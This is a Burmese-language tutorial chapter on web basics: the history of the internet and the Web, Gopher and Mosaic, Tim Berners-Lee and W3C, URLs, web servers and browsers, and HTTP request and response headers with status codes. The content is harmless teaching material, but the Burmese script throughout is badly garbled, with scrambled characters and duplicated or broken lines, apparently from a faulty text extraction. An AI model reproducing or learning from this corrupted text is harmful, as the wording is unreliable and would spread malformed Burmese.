ဒီိ နရောမာှ အိပခခအံားပဖေင့် အငတ်ာနက်ြဟာ ကွြနပ်ျူတာနဲ့အပခား Device ိတကုိွြ ချတိဆ်က်ြယံု ချတိ် ဆက်ြိပးထား
တဲ့နညး်ပညာလို့  သိဘာထားနိုငပ်ါတယ်။  အချက်ြအလက်ြအပပနအ်လနှ်ိ ပးပိုပ့ခငး်  လပုင်နး်အိသးစိတကုိ်ြိတာ၊့  ဒီ
အငတ်ာနက်ြိပါ်မာှ အိပခခပံပးီတထီငွထ်ားတဲ့ World Wide Web, Email စတဲ့ နညး်ပညာိတကွြ ိဆာငရ်ေက်ွြိပး
တာပါ။ Email နဲ့ World Wide Web ကုိြ အချက်ြအလက်ြိတ ွခရေးီိရောက်ြိအာငပ်ိုိ့ ပးတဲ့ "ကြား" လို့ယူဆပပးီ အင်
တာနက်ြကြိတာ ့အ့ဲဒကီြားိတသွွားလိုရ့ေတဲ့ "လမး်" လို့ သိဘာထားနိုငပ်ါတယ်။

World Wide Web နဲ့ Email တို့လိုပဲ အငတ်ာနက်ြလမး်မကကီြးိပါ်မာှ အချက်ြအလက်ြိတ ွသယ်ယပူိုိ့ ဆာင်ိ ပးနိုင်
တဲ့  အပခားနညး်ပညာိတ ွရေှိပါိသးတယ်။  Instant Messaging (IM),  Internet  Relay Chat  (IRC),  Voice
Over Internet Protocol (VoIP), Secure Shell (SSH), File Transfer Protocol (FTP) စတဲ့ နညး်ပညာိတွ
ပဖေစ်ပါတယ်။
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1.2 - World Wide Web (WWW)
၁၉၉၀ ပပည့်နစ်ှဝနး်ကြျငမ်ာှ  Gopher  လိုိ့ ခါ်တဲ့  အငတ်ာနက်ြကွြနယ်က်ြကုိြအသံုးပပုပပးီ  အချက်ြအလက်ြိတကုိွြရောှိဖေွ
ပဖေန့်ိ ဝိပးနိုငတ်ဲ့  စနစ်တစ်ခကုိုြ စတငအ်သံုးပပုလာအကြပါတယ်။ တကြ္ကသုိလ်ိ တမွာှ အိတာ်ိ လးကြျယက်ြျယ်ပပန့်ပပန့်
သံုးခဲ့တဲ့  နညး်ပညာတစ်ခပုါ။  တကြ္ကသုိလတ်စ်ခလုုံးရေဲ့အချက်ြအလက်ြိတကုိွြ  တစ်ိနရောတညး်မာှစုစညး်ထားနိုငပ်ပီး
Gopher စနစ်နဲ ့ကွြနပ်ျူတာိတကွြ ဆက်ြသွယ်ရေယူနိုငပ်ခငး်ပဖေစ်ပါတယ။် 

Gopher  နညး်ပညာကုိြ ဖေနတ်းီခဲ့တဲ့  မငန်ဆုိီးတားတကြ္ကသုိလက်ြ ၁၉၉၃ ခနုစ်ှ  ိဖေိဖောဝ်ါရေလီမာှ  အိပခအိနိတကုိွြ
ိပပာငး်လသွဲားိစတဲ့  ိအကြပငာချက်ြတစ်ရေပကုိ်ြ  ထတုပ်ပနခ်ဲ့ပါတယ်။  Gopher  နညး်ပညာကုိြ  အသံုးပပုသူိတကွြ
အသံုးပပုခ ိပးရေမယ်လို့ ိအကြပငာခဲ့ပခငး်ပပဲဖေစ်ပါတယ်။ ဒီိ အကြပငာချက်ြိအကြာင့် လက်ြရေှိ  Gopher  နညး်ပညာအသံုးပပု
ိနသူိတကုိွြ အပခားနညး် ပညာတစ်ခခု ုိပပာငး်သံုးဖေို့ စဉး်စားလာိစပါတယ်။ 

အ့ဲဒီအချနိမ်ာှ ဆွစ်ဇာလနန်ိုငင်အံိပခစုိက်ြ CERN (The European Council of Nuclear Research Center) ဆုိ
တဲ့အဖေွဲ့အစညး်ထမံာှ  Gopher  ကုိြ အစားထိုးနိုငတ်ဲ့နညး်ပညာတစ်ခကုြအသင့်ရေှိိ နပါတယ်။  CERN ကြ ကွြနပ်ျူတာ
သိပ္ံပပညာရေငှ် တစ်ဦးပဖေစ်တဲ့ (Sir) Tim Berners-Lee ကြ Document ိတအွတငွး်မာှ အပခား Document ိတကုိွြ
ရေညည်ွှနး်ချတိဆ်က်ြနိုငတ်ဲ့ နညး်ပညာတစ်ခကုိုြ ဖေနတ်းီထားပါတယ်။ Hypertext Document လို့ သူကြိခါ်ပါတယ်။
လက်ြိတွ့အသံုးပပုနိုငဖ်ေိုအ့တက်ွြ၊  Document  ိတကုိွြ  ပဖေန့်ိ ဝိပးနိုငတ်ဲ့  Server  Software  တစ်ခနုဲ့  အဲဒ့ီ
Document  ိတကုိွြ  ရေယူိပးနိုငတ်ဲ့  Browser  လိုိ့ ခါ်တဲ့  Client  Program  တစ်ခကုိုြလညး်  ဖေနတ်းီခဲ့ပါတယ်။
ဖေနတ်းီမှုအားလုံးကြိုစုိပါငး်ပပီး "WorldWideWeb" လို့ သူကြ အမည်ိ ပး ထားပါတယ်။

Tim Berners-Lee ကြ ၁၉၉၃ ခနုစ်ှ၊ ဧပပလီ (၁၃) ရေက်ြိနမ့ာှ  WorldWideWeb နညး်ပညာရေဲ့  Source Code ကုိြ
အများရေယူနိုငဖ်ေို့  ိဖောပ်ပိပးခဲ့ပါတယ်။  ဒါိအကြာင့်  ဒနီညး်ပညာကုိြမညသူ်မဆုိ  အခမဲ့ရေယူအသံုးပပုခငွ့်  ရေလာယံုမကြ
ဆက်ြစပ် နညး်ပညာများကုိြပါ တထီငွလ်ာနိုင်ိ စခဲ့ပါတယ်။ ဒါဟာလညး် အလညှ့်အိပပာငး်တစ်ခကုိုြ ပဖေစ်ိပါ်ိစခဲ့တဲ့
ဆံုးပဖေတခ်ျက်ြ  တစ်ခပုါပ။ဲ  အ့ဲဒနီစ်ှထမဲာှ  အိမရေကိြနပ်ပည်ိ ထာငစု်ကြ  NCSA  (National  Center  of  Super-
computing Apps) ကြ Hypertext Document ိတကုိွြအကြည့်ရှုနိုငပ်ပးီ  Gopher  ကုိြလညး် ဆက်ြလက်ြအသံုးပပုနိုင်
တဲ့ Browser Program တစ်ခကုိုြ ဖေနတ်းီခဲ့ပါတယ။် Mosaic လို့အမည်ိ ပးခဲ့ပါတယ်။ Unix Operating System
မာှ အသံုးပပုနိုငဖ်ေို့ ဖေနး်တးီခဲ့တာပါ။ ဒါိပမယ့် ၁၉၉၃ ခနုစ်ှ ဒဇီငဘ်ာလမာှ Mac နဲ့ Windows တို့အတက်ွြ Version
ိတကုိွြလညး် ပဖေန့်ိ ဝနိုငခ်ဲ့ပါတယ်။ အ့ဲဒီအချနိက်ြစပပးီ  Mosaic  နဲ့  WorldWideWeb  ဟာ အလျငအ်ပမန်  ပပန့်ပာွး
ထငရ်ောှး လာခဲ့ပါိတာတ့ယ်။

Mosaic  က့ဲြသုိ့  Browser  ိတလွညး်  တစ်ခပုပးီတစ်ခု  ိပါ်ိပါက်ြလာခဲ့ပါတယ်။  အများစုကြိတာ့  တကြ္ကသုိလ်ိ တွ
Corporate  ိတရွေဲ့  သုိတသန  Project  များအိနနဲ့  ိပါ်ိပါက်ြလာခဲ့တာပါ။  ကြိနအ့ချနိမ်ာှိတာ့  Web  လ့ုိ
အတိုိ ကြာက်ြိခါ်တဲ့ World Wide Web ဟာ အငတ်ာနက်ြ လမး်မကကီြးိပါ်မာှ အချက်ြအလက်ြိတသွယ်ယပူိုိ့ ဆာင်
ိပးနိုငတ်ဲ့ နညး်ပညာများထကဲြ အဓကိြအကြျဆံုးနညး်ပညာ ပဖေစ်လာခဲ့ပပပီဖေစ်ပါတယ်။ 

Web နညး်ပညာမာှ အဓကိြအစိတ်အပိုငး် (၃) ခပုါဝငပ်ါတယ်။
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1 - Hypertext Document
ကြိနအ့ချနိမ်ာှ Web Document လို့ ပိုပပးီအိခါ်များတဲ့ Hypertext Document ိတဟွာ စာနဲ့ိ ရေးသားိဖောပ်ပထား
တဲ့ အချက်ြ အလက်ြိတအွပပင၊် စာရေငး်ဇယားပုံစံ Table နဲ့ိ ဖောပ်ပထားတဲ့ အချက်ြအလက်ြိတ၊ွ ရုပပ်ုံ (Image) ိတနွဲ့
အချက်ြအလက်ြိတပွဖေည့်သွငး်လို့ရေတဲ့ Form ိတ ွပါဝငန်ိုငတ်ဲ့ Document များပဖေစ်ပါတယ်။

ဒီ Document ိတကုိွြ Hyperlink ိခါ် အညွှန်းိတနွဲ့ အပပနအ်လနှခ်ျတိဆ်က်ြနိုငအ်ကြပါတယ်။ Hyperlink တစ်ခကုိုြ
နှိပပ်ပးီ Document တစ်ခကုြိနိနာက်ြ Document တစ်ခကုိုြ အလယ်ွတစ်ကူြ ကူြးိပပာငး်အကြည့်ရှုနိုငမ်ာှပဖေစ်ပါတယ်။ 

2 - Web Server
Web Server ဆုိတာ Web Document ိတကုိွြ ကွြနပ်ျူတာတစ်လုံးနဲ့ စုစညး်သိမး်ဆည်းထားပပးီ ပပနလ်ညရ်ေယူလို
တဲ့အခါ  ရေယူနိုင်ိ အာင်  စီမံိ ပးထားတဲ့  စနစ်တစ်မျို းပဖေစ်ပါတယ်။  Document  ိတ ွ စုစညး်ထားပုံကြ  အခနး်ိတွ
အများကကီြးပါတဲ့ တိုက်ြကကီြးတစ်လုံးနဲ့တပူါတယ်။  Web Document ိတကွြိတာ့ အ့ဲဒတီိုက်ြကကီြးထမဲာှရေှိိ နတဲ့ အခနး်
ိတဆုိွပါစုိ။့ တိုက်ြကကီြးမာှလပိစ်ာရေှိသလို အခနး်တိုင်းအတက်ွြလညး် ကုိြယ်ပိုင်အခနး်နပံါတ်ိ တရွေှိပါတယ်။ Web နညး်
ပညာမာှိတာ့  တိုက်ြလပိစ်ာကုိြ  Domain Name  လ့ုိိခါ်ပပးီ  အခနး်နပံါတအ်ညွှန်းကုိြ  URI (Uniform Resource
Idendifier)  လ့ုိ  ိခါ်ပါတယ်။  Domain Name  နဲ့  URI  အပပည့်အစံုပါဝငတ်ဲ့  လပိစ်ာကုိြိတာ့  URL (Uniform
Resource Locater) လို့ ိခါ်ပါတယ်။ URL တစ်ခဟုာ အိမလ်ပိစ်ာတစ်ခနုဲ့ အိတာ်ိ လးတပူါတယ် ။ ပုံ (၁-ကြ) မာှ
ိလလ့ာအကြည့်ပါ။

ပုံ (၁-ကြ) URL တစ်ခ၏ုအဓပိ္ပါယ်

URL ဟာ Web နညး်ပညာရေဲ့  "အသက်ြ" ပဖေစ်ပါတယ်။  Web Resource တိုငး်ကုိြ တိုက်ြရုိက်ြညွှန်းဆုိနိုငတ်ဲ့  URL
တစ်ခရုေှိ ရေမယ်၊ ရေှိိ အာငဖ်ေနတ်းီိပးရေမယ်ဆုိတာကုိြ Web Developer တိုငး် နားလညထ်ားရေမယ့် အချက်ြတစ်ချက်ြပဲ
ပဖေစ်ပါတယ်။
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3 - Web Browser
Web Browser ကြိတာ့ Web Document ိတကုိွြ ိဖောပ်ပိပးနိုငတ်ဲ့ Software တစ်မျို းပဖေစ်ပါတယ်။ Mosaic လို့
အမညရ်ေတဲ့ပထမဆံုး Web Browser ကြိတာ့ ကြိနအ့ချနိမ်ာှမရေှိိ တာပ့ါဘးူ။ ဒါိပမယ့်လသံုူးအများဆံုး Browser
ိတထွကဲြ Microsoft Internet Explorer နဲ့ Mozilla Firefox တို့ဟာ  Mosaic ကြိနဆငး်သက်ြလာအကြပခငး် ပဖေစ်
ပါတယ်။

လက်ြရေှိအချနိမ်ာှ  လသံုူးများတဲ့  Web  Browser  (၅)  ခု  ရေှိပါတယ်။  Microsoft  Internet  Explorer,  Mozilla
Firefox, Google Chrome, Apple Safari  နဲ့  Opera  တို့ပဖေစ်အကြပါတယ်။ မိုဘိုငး်ဖေနု်းိတနွဲ့  Tablet  ိတကွြိန
လညး် အငတ်ာနက်ြ အသုံးများလာအကြတဲ့အတက်ွြ Android Browser, Mobile Safari  နဲ့  Opera Mobile တို့လို
Mobile Browser ိတကုိွြ လညး် အသံုးများတဲ့ Web Browser စာရေငး်ထမဲာှ ထည့်သွငး်ရေမာှပါ။

Web Browser တစ်ခရုေဲ့  အိပခခလံပုင်နး်တာဝနက်ြိတာ၊့ အသံုးပပုသူိပးတဲ့ URL လိပစ်ာအတိုငး် Web Server ရေှိ
ရောကုိြသွားပပးီ၊ Web Server ကြ ပပန်ိ ပးလိုက်ြတဲ့အချက်ြအလက်ြိတကုိွြ အသံုးပပုသူအကြည့်ရှုနိုင်ိ အာင ် ိဖောပ်ပိပးဖေိုပ့ဲ
ပဖေစ်ပါတယ်။

ပုံ (၁-ခ) Web Browser တစ်ခ၏ု အလပုလ်ပုပ်ုံ
Source: www.vladstudio.com  /wallpaper/?how_internet_works  

http://www.vladstudio.com/wallpaper/?how_internet_works
http://www.vladstudio.com/wallpaper/?how_internet_works
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1.3 - World Wide Web Consortium (W3C)
Web နညး်ပညာကုိြ စတငတ်ထီငွခ်ဲ့တဲ့  Tim Berners-Lee ကြ World Wide Web Consortium (W3C) ဆုိတဲ့
အဖေွဲ့အစညး်တစ်ရေပကုိ်ြ  ၁၉၉၄ ခနုစ်ှ  ိအာက်ြတိုဘာလမာှ  ဦးိဆာငတ်ည်ိ ထာငခ်ဲ့ပါတယ်။  ဒစီာိရေးိနချနိအ်ထလိဲ
ဒါရုိက်ြတာအပဖေစ် ဆက်ြလက်ြဦးိဆာင်ိ နဆဲ ပဖေစ်ပါတယ်။ တည်ိ ထာငခ်ဲ့တဲ့ိ နရောကြိတာ့ အိမရေကိြနန်ိုငင်ံ မက်ြဆာ
ချူးဆက်ြ နညး်ပညာတကြ္ကသုိလ် ကွြနပ်ျူတာသိပ္ံပဌာန (MIT/LCS) မာှပါ။ ဥိရောပသမဂ္ဂနဲ့ အငတ်ာနက်ြကုိြတထီငွခ်ဲ့
တဲ့  DARPA (Defense Advanced Research Projects Agency)  တို့ရေဲ့  အကူြအညနီဲ့ တည်ိ ထာငခ်ဲ့တာပဖေစ်ပါ
တယ်။ 

W3C ရေဲ့  အဓကိြလပုင်နး်တာဝနက်ြိတာ့  Web Document  ိတွိ ရေးသားဖေနတ်းီအကြသူိတ၊ွ  Web Server  တထီငွ်
ဖေနတ်းီအကြသူိတ၊ွ  Web  Browser  ထုတလ်ပုသူ်ိတအွပါအဝင်  Web  နညး်ပညာနဲ့ဆက်ြစပ်အလပုလ်ပုသူ်များ
လိုက်ြနာ အသံုးပပုရေမယ့် နညး်ပညာစံများ သတမ်တှပ်ခငး်ပပဲဖေစ်ပါတယ်။ ဒလီိုနညး်ပညာစံိတ ွသတမ်တှရ်ောမာှလညး်
W3C  ကြ အပမတဲမး်ပညာ ရေငှ်ိ တသွာမကြ  Google, Microsoft,  Mozilla, Apple,  Adobe, Opera  အစရေှိတဲ့
လက်ြရေှိအငတ်ာနက်ြနဲ့ Web နညး်ပညာမာှ ဦးိဆာင်ိ နတဲ့လပုင်န်းများကြ ပညာရေငှမ်ျားလ ဲပးူိပါင်းပါဝင်ိ ဆာငရ်ေက်ွြ
ိနအကြတာပါ။

W3C ကြ သတမ်တှထ်ားတဲ့ နညး်ပညာစံိတကုိွြ Web Standards လိုိ့ ခါ်ပပးီ HTTP, CGI, HTML, XHTML,
XML, SOAP, DOM, CSS, SVG, RDF  စသပဖေင့် ကြဏိပါငး်များစွာ ပါဝငပ်ါတယ်။ အ့ဲဒထီကဲြ ကြျွန်ိ တာတ်ို့
အဓကိြထာ ိလ့လာရေမာှိတကွြိတာ ့ HTTP, HTML, CSS နဲ့ DOM တို့ ပဖေစ်ပါတယ်။

1.4 - HyperText Transfer Protocol (HTTP)
ပုံ  (၁-ကြ) မာှ  URL  ရေဲ့  ိရေှ့ ဆံုးကြ  http:// ကုိြ  "စီးသွားရေမယ့်ကြားလိုငး်"  လိုိ့ ဖောပ်ပခဲ့ပါတယ်။  HTTP  ဆုိတာ
Web  Document  ိတအွပါအဝင်  အချက်ြအလက်ြိတကုိွြ  Web  Server  နဲ့  Web  Client  ရေဲ့  အကြားထမဲာှ
အပပန်အလနှ ်သယ်ယူပို ့ိဆာင်ိ ပးတဲ့ နညး်ပညာပဖေစ်ပါတယ်။

Web Client ဆုိတာအိပခခအံားပဖေင့် Web Server တစ်ခနုဲ့ ဆက်ြသွယ်ိ ဆာငရ်ေက်ွြနိုငတ်ဲ့  Software ိတကုိွြ Web
Client  လိုိ့ ခါ်ပါတယ်။  Web  Browser  ဟာ  Web  Client  တစ်ခပုဖေစ်ပါတယ်။  Server  ကုိြ  ဆက်ြသွယ်ပပီး
အချက်ြအလက်ြိတ ွရေယူစီမနံိုငတ်ဲ့ မိုဘိုငး် App များဟာလညး် Web Client များပပဲဖေစ်ပါတယ်။ Web Client တစ်
ခကုြ အချက်ြအလက်ြများ ရေယူဖေို့ ိဆာငရ်ေက်ွြတဲ့လပုင်နး်စဉကုိ်ြ  Request လုပတ်ယ်လို့ ိခါ်ပပးီ၊  Web Server တစ်ခု
ကြ အချက်ြအလက်ြများ ပပနလ်ည် ိပးပို့တဲ့လပုင်နး်စဉကုိ်ြ  Respond  လပုတ်ယ်လိုိ့ ခါ်ပါတယ်။  Web Client  ကြ
အချက်ြအလက်ြများိတာငး်ယူပခငး်ကုိြ  အဓကိြိဆာငရ်ေက်ွြမာှပဖေစ်ပပးီ  Web  Server  ကြိတာ့  ိတာငး်ခလံာတဲ့
အချက်ြအလက်ြများ ပပနလ်ည်ိ ပးပိုပ့ခငး်ကိြ ုအဓကိြ ိဆာငရ်ေက်ွြမာှပဖေစ်ပါတယ်။

HTTP  ကြိတာ့  အချက်ြအလက်ြရေယူလိုသူ  Client  နဲ့  အချက်ြအလက်ြိပးပိုသူ့   Server  တို့အအကြား အပပန်အလနှ်
လိုက်ြနာရေမယ့် နညး်ပညာစံကုိြ သတမ်တှ်ိ ပးထားပခင်းပပဲဖေစ်ပါတယ်။
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Client Request
HTTP သက်ြမတှခ်ျက်ြအရေ Web Client တစ်ခဟုာ အချက်ြအလက်ြရေယူလိုရေင် Web Server ထကုိံြရေယူလိုိ အကြာငး်
သတငး်ိပးပိုရ့ေမာှပဖေစ်ပါတယ်။ သတငး်ိပးပိုရေမယ့် ပုံစံနမနူာကြ ဒလီိုပါ -

    GET /foo.html HTTP/1.1
  Host: example.com
  User-Agent: Mozilla/5.0 
  Accept-Encoding: gzip, deflate 
  If-Modified-Since: Tue, 26 Feb 2013 05:34:16 GMT

ဒသီတငး်ိပးပိုခ့ျက်ြကုိြ Request Header လိုိ့ ခါ်ပါတယ်။  ပထမဆံုးလိုင်းကြ GET ကုိြ Request Method လ့ုိ ိခါ်
ပါတယ်။  HTTP  မာှ  GET,  POST,  PUT,  DELETE  စတဲ့  Request  Method  ိတ ွ အမျို းမျို းရေှိပါတယ်။
ရေညရ်ေယ်ွချက်ြ ိပါ်မတူညပ်ပးီ သင့်ိ တာတ်ဲ့ Request Method ကုိြ ထည့်သွငး်ိပးပို့ရေမာှ ပဖေစ်ပါတယ်။ 

အိပခခအံားပဖေင့်  အချက်ြအလက်ြိတရွေယူလိုရေင်  GET Method  ကုိြသံုးရေပါတယ်။ အချက်ြအလက်ြသစ်ိတ ွ Server
မာှ ဖေနတ်းီိစလိုရေင်ိ တာ့  POST ကုိြ သံုးရေပါတယ်။ Server  မာှ ရေှိိ နတဲ့အချက်ြအလက်ြိတ ွပပငဆ်င်ိ စလိုရေင်ိ တာ့
PUT  ကုိြ သံုးရေပပးီ၊  အချက်ြအလက်ြိတ ွပယ်ဖေျက်ြိစလိုရေင်  DELETE  ကုိြသံုးရေပါတယ်။  HEADER, DEBUG,
TRACK, TRACE စတဲ့ အပခား Request Method ိတလွညး် ရေှိပါိသးတယ်။ 

Request Method ိနာက်ြမာှ ရေယူလိုတဲ့ Document URL ကုိြ ိဖောပ်ပရေပါတယ်။ URL ိနာက်ြမာှမအှသံုးပပုလိုတဲ့
HTTP Version  ကုိြ  ဆက်ြလက်ြိဖောပ်ပိပးရေတာပါ။  နမနူာ  Request  Header  ရေဲ့  ဒတုယိလိုငး်ကြိတာ့  Server
လပိစ်ာပဖေစ်ပပးီ တတိယလိုငး်ပဖေစ်တဲ့ User-Agent ကြိတာ့ လက်ြရေှိိ တာငး်ယူသူ Client အမျို းအစားကုိြ ထည့်သွင်း
ိဖောပ်ပိပးပခင်းပပဲဖေစ် ပါတယ်။ ဒါအပပင် စတတု္ထ လိုင်းမာှ ပဖေည့်စွက်ြလက်ြခနံိုငတ်ဲ့နညး်ပညာအချို ့ကုိြပါ ထည့်သွငး်ိပး
ထားတာကုိြ ိတွ့ရေပါလမိ့်မယ်။ ဒီ ပဖေည့်စွက်ြနညး်ပညာိတအွိအကြာငး်ကုိြ  အခန်း (၈) PHP and Apache Settings
မာှ ဆက်ြလက်ြိဖောပ်ပိပးပါမယ်။

နမနူာ  Request  Header  ရေဲ့  ိနာက်ြဆုံးလိုငး်ကြိတာ၊့  အခုိ တာငး်ယူတဲ့အချက်ြအလက်ြဟာ  ိပးထားတဲ့ရေက်ြစဲွ
ိနာက်ြပိုငး် Server ိပါ်မာှ ိပပာငး်လပဲပငဆ်ငထ်ားမသှာ ပပနလ်ည်ိ ပးပိုပ့ါလို့ အသိိပးထားတာပဖေစ်ပါတယ်။  ဒါဟာ
HTTP  ကြ  သတမ်တှထ်ားတဲ့  Request  Format  နမနူာတစ်ခပုါ။  ိတာငး်ယတူဲ့  Client  နဲ့  ိတာငး်ယူရေပခငး်
ရေညရ်ေယ်ွချက်ြိပါ် မတူညပ်ပးီ ပါဝငတ်ဲ့ အချက်ြအလက်ြိတ ွကဲွြပပားသွားနိုငပ်ါတယ်။ 

အသံုးပပုသူတစ်ိယာက်ြကြ Browser Address Bar  မာှ  URL  တစ်ခကုိုြ ရုိက်ြထည့်လိုက်ြရေင်  Web Browser  ကြ
HTTP  Request  Format  အပဖေစ်  အလိုအိလျှာက်ြိပပာငး်ပပးီ  Server  ထံ  ိပးပိုိ့ ပးမာှပဖေစ်ပါတယ်။  ဒီ
လပု်ိ ဆာငခ်ျက်ြဟာ Browser ကြ အလိုအိလျှာက်ြ ိဆာငရ်ေက်ွြသွားတာပဖေစ်လို့ ကြျွန်ိ တာတ်ို့မပမငရ်ေပါဘးူ။ ိတွ့ ပမင်
လိုတယ်ဆုိရေင်  Developer  Tools  ိတကုိွြအသံုးပပုရေပါတယ်။  ကြျွန်ိ တာအ်သံုးပပုတဲ့  Tool  ကြိတာ့
LiveHTTPHeader လို့ ိခါ်တဲ့  Firefox Addon ပပဲဖေစ်ပါတယ။်
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ပုံ (၁-ဂ)  LiveHTTPHeader Firefox Addon
Link: addons.mozilla.org/en-US/firefox/addon/live-http-headers/

ဒီ Tool ကြ Client နဲ့ Server ဆက်ြသွယ်တဲ့အခါ အပပန်အလနှ် သတငး်ိပးပိုခ့ျက်ြ အိသးစိတကုိ်ြ ိဖောပ်ပိပးိနမာှ
ပဖေစ်ပါတယ်။ Google Chrome နဲ့ အပခား Browser များအတက်ွြလညး် အလားတ ူAddon ိတ ွရေှိပါတယ်။

Server Respond
Server ကုိြ Hardware Server နဲ့ Software Server အပဖေစ် နစ်ှပိုငး်ခွဲအကြည့်ဖေို့လိုပါတယ်။  Hardware Server ဟာ
အိပခခအံားပဖေင့်  HTTP  နဲ့  တိုက်ြရုိက်ြသကြဆုိ်ငပ်ခင်းမရေှိပါဘးူ။  Linux,  Microsoft  Windows  Server  စတဲ့
Server Operating System တစ်ခု  Run ိနပပးီ  Web Document  နဲ့ အပခားလိုအပတ်ဲ့  File  ိတကုိွြ သိပဆ်ည်း
ိပးထားတဲ့ Physical Machine တစ်ခပုဖေစ်ပါတယ်။

Software  Server  ကြမှ  HTTP  Request  ိပါ်မတူညပ်ပးီ  သင့်ိ တာတ်ဲ့အချက်ြအလက်ြပပနလ်ည်ိ ပးပိုန့ိုငတ်ာပါ။
Apache,  Nginx,  IIS (Microsoft  Internet Information Service)  တို့ဟာ အသံုးအများဆံုး  HTTP Web
Server Software ိတ ွပဖေစ်အကြပါတယ်။

မတ်ှချကြ် ။ ။ Physical Machine ပဖေစတ့ဲ် Hardware Server တစလံု်းထဲမာှ  Web Server အပပင် အပခား Software Server
ိတွ ရိှေိနနိုငပ်ါိသးတယ။် Email Server, FTP Server, SSH server စသပဖေင့်ပဖေစပ်ါတယ။် သကြဆုိ်ငရ်ော Server တစခ်ခုျငး်စီ
ကြို ဝင်ိ ပါကြအ်မတ်ှ  (Port Number)  ိတွ ခွဲပခားသတ်မတ်ှိပးထားပါတယ။် ဒါမှ ဘယအ်ိပါကြက်ြဝငလ်ာတ့ဲ  Request  ဆုိရေင်
ဘယသ်ကူြ တာဝနယ်ူိ ဆာငရ်ေကွြရ်ေမလဲ ဆုိတာကြို သနိိုငမ်ာှပဖေစပ်ါတယ။် HTTP Web Server အတွကြ် Default Port No. ကြ
ိတာ့ 80 ပဖေစပ်ါတယ။် ဝင်ိ ပါကြ် 80 ကြ ဝင်ိ ရောကြလ်ာတ့ဲ Request အားလံုးကြို HTTP Web Server ကြ တာဝနယ်ူိ ဆာငရ်ေကွြ်

https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
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ိပးသာွးမာှ ပဖေစပ်ါတယ။် အသုံးပပုသကူြ Browser Address Bar မာှ URL ထည့်သငွး်တ့ဲအခါ မာှ Port No. ကြို ထည့်မိပးခဲ့
ရေင် Browser ကြ 80 ကြိုပဲ အလုိအိလျှာကြအ်သုံးပပုိပးသာွးမာှပါ။ Web Server တစခ်ကုြို Port No. ိပပာငး်ပပးီ Setting လုပပ်ုံ
ကြို အခနး် (၈) Apache and PHP Settings မာှိဖောပ်ပိပးပါမယ။်

Web Server တစ်ခရုေဲ့  အဓကိြအလပုက်ြိတာ့ Request တစ်ခလုက်ြခရံေရေှိတာနဲ့ Request Header နဲ့အတပူါဝငလ်ာ
တဲ့  သတငး်ိပးပို့ချက်ြအတိုငး်  သင့်ိ တာတ်ဲ့ပပနအ်ကြားချက်ြကုိြ  ပပနလ်ည်ိ ပးပိုဖ့ေို့ပပဲဖေစ်ပါတယ်။  ထးူပခားချက်ြကြိတာ့
အချက်ြအလက်ြိတကုိွြ  ပပနလ်ညမ်ိပးပို့ခင်  သူကြလညး်  Client  ထံ  သတငး်ိပးပို့ချက်ြတစ်ချို ့  အရေင်ိ ပးပို့ပါိသး
တယ်။ ဒါကုိြ  Response Header လို့ ိခါ်ပါတယ်။  HTTP Response Header နမနူာတစ်ခကုိုြိဖောပ်ပိပးလိုက်ြပါ
တယ် -

  HTTP/1.1 200 OK
  Date: Mon, 04 Mar 2013 14:03:18 GMT 
  Server: Apache/2.2.14 (Unix) PHP/5.3.1
  Last-Modified: Sun, 03 Mar 2013 20:15:33 GMT 
  Content-Encoding: gzip 
  Content-Length: 1448
  Content-Type: text/html; charset=utf-8 

Response Header ရေဲ့  ပထမဆံုးလိုင်းကြ အိပခအိနကိြု Code နပံါတသံု်းပပးီိဖောပ်ပိပးတာပဖေစ်ပါတယ်။ 200 OK
ရေဲ့  အဓပိ္ပါယ်ကြိတာ့  လက်ြခရံေရေှိတဲ့  Request  ဟာ  အားလုံးအဆင်ိ ပပပပးီ  အချက်ြအလက်ြ  ပပနလ်ည်ိ ပးဖေို့လညး်
အသင့်ပါပ ဲဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်ပါတယ်။

HTTP Status  Code  နပံါတ်ိ တအွများကကီြးရေှိပါတယ်။  အုပစု်  (၅)  စုခွဲပခားထားပပးီ  (1xx)  နဲ့စတဲ့   Code  ိတွ
ကြိတာ့ သတငး် ိပးပို့ရေန် သက်ြသက်ြပဖေစ်ပါတယ်။  (2xx) နဲ့စတဲ့ Code ိတကွြိတာ့ Request/Respond ိအာင်
ိအာငပ်မငပ်မင်  ိဆာငရ်ေက်ွြနိုင်ိ အကြာငး်ိဖောပ်ပတဲ့  Code  ိတပွဖေစ်ပါတယ်။  (3xx)  နဲ့  စတဲ့  Code  ိတကွြိတာ့
Redirect  လ့ုိိခါ်တဲ့ လပိစ်ာိပပာငး်လသွဲားိအကြာငး် သတငး်ပိုတ့ဲ့   Code  ိတပွဖေစ်ပါတယ်။  (4xx)  နဲ့စတဲ့  Code
ိတကွြိတာ့  Client Error  ကုိြိဖောပ်ပတဲ့  Code  ိတ ွပဖေစ်ပါတယ်။ တနညး်အားပဖေင့် ိပးပိုလ့ာတဲ့  Request  အမာှး
ိအကြာင့် ပဖေစ်ိပါ်လာတဲ့ Error ိတကုိွြ ိဖောပ်ပိပးတာပါ။ (5xx) နဲ့စတဲ့  Code ိတကွြိတာ့ Server Error အတက်ွြ
ပဖေစ်ပါတယ်။  Web  Server  ကြ  Request  ကုိြ  အဆင်ိ ပပိပပ လက်ြခရံေရေှိိ ပမယ့်  အခက်ြအခတဲစ်စံုတစ်ရောိအကြာင့်
ပပနလ်ည်ိ ပးပို့နိုငပ်ခင်းမရေှိတဲ့အခါ ိဖောပ်ပတဲ့ Code ိတပွဖေစ်ပါတယ်။ HTTP Status Code ိတထွကဲြိတွ့ရေိလရ့ေှိတဲ့
Code အချို ့ အိအကြာငး် ထည့်သွငး်ိဖောပ်ပ လုိက်ြပါတယ်။

200 OK -  လက်ြခရံေရေှိတဲ့  Request  အဆင်ိ ပပပပးီ ိတာငး်ခထံားတဲ့အချက်ြအလက်ြိတကုိွြ ပပနလ်ည်ိ ပးပိုိ့ တာမ့ာှ
ပဖေစ် ိအကြာငး်ိဖောပ်ပတဲ့ Code ပဖေစ်ပါတယ်။

301 Moved Permanently  -  ိတာငး်ခလံာတဲ့ အချက်ြအလက်ြဟာ တစ်ပခားိနရောတစ်ခကုိုြ အပပီးတိုင်ိ ပပာငး် ိရေွှ
ထားိအကြာငး် ိဖောပ်ပတဲ့အခါသံုးပါတယ်။  Client ကြိနာက်ြတစ်ကကိြမ် Request လပုရ်ေင် ိပပာငး်ိရေွှသွားတဲ့ URL နဲ့
Request လပုသ်င့်ိ အကြာငး် အသိိပးပခငး်လညး်ပဖေစ်ပါတယ်။
